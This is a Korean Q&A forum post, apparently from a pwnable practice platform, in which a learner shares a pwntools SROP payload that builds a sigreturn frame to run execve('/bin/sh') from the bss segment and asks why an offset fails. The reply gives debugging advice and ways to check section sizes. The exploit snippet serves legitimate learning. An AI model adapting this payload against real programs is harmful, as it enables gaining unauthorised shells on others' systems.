완료됨
bss 영역 관련하여 질문 있습니다
frame2 = SigreturnFrame()
frame2.rax = 59 #execve
frame2.rdi = bss +0x200
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = sys_gad
frame2.rsp = bss
payload2 = p64(rax_gad) + p64(15)
payload2 += p64(sys_gad)
payload2 += bytes(frame2)
payload2 += b"B" * (0x200 - len(payload2))
payload2 += b"/bin/sh\x00"
이런식으로 프레임 구성을 해서 두번째 프레임 전송을 했는데 로컬/원격 모두 쉘 권한이 획득되지 않았습니다.
그래서 rdi를 +0x200이 아닌 payload2 사이즈인 +0x110으로 주고 패딩을 없애니 문제없이 쉘 권한이 취득되는데 여기서
- +0x200에서 문제가 발생하는 이유(BSS영역의 사이즈 문제로 추측)
- BSS 영역의 사이즈를 확인할 수 있는방법
이 궁금합니다.
#pwnable
작성자 정보
답변
1
안녕하세요, 뀨꾸뀨뀨꾸 님!
남겨 주신 코드로 미루어보았을 때, /bin/sh\x00
를 bss 영역에 작성하신 뒤 그 주소를 execve()
의 첫 번째 인자로 전달하도록 페이로드를 작성해 주신 것 같습니다.
- +0x200에서 문제가 발생하는 이유: 질문 흐름상 입력을 2번 받도록 한 다음
payload2
를 bss에 작성하도록 코드를 작성하신 것 같은데요, 중간에 bp를 걸고 원하는 주소에 값이 제대로 작성되어 있는지, 메모리에 쓰기 권한이 주어져 있는지, 메모리와 레지스터의 값이 올바른지 확인해 보시기 바랍니다. - BSS 영역의 사이즈를 확인할 수 있는 방법:
readelf -S
명령어로 bss 섹션의 크기를 확인할 수 있으며, gdb의vmmap
명령어로 쓰기 권한이 있는 메모리 주소를 확인할 수 있습니다. 본 문제의 바이너리는 No PIE이기 때문에 쓰기 가능한 메모리 영역의 주소가0x404000
~0x405000
으로 고정됩니다. - 추가로, 질문자님께서 남겨 주신 페이로드에는
syscall
가젯이 포함되어 있는 듯합니다. 이 부분 때문에 문제가 생기는 것은 아닌지 확인해 보시기 바랍니다.
감사합니다.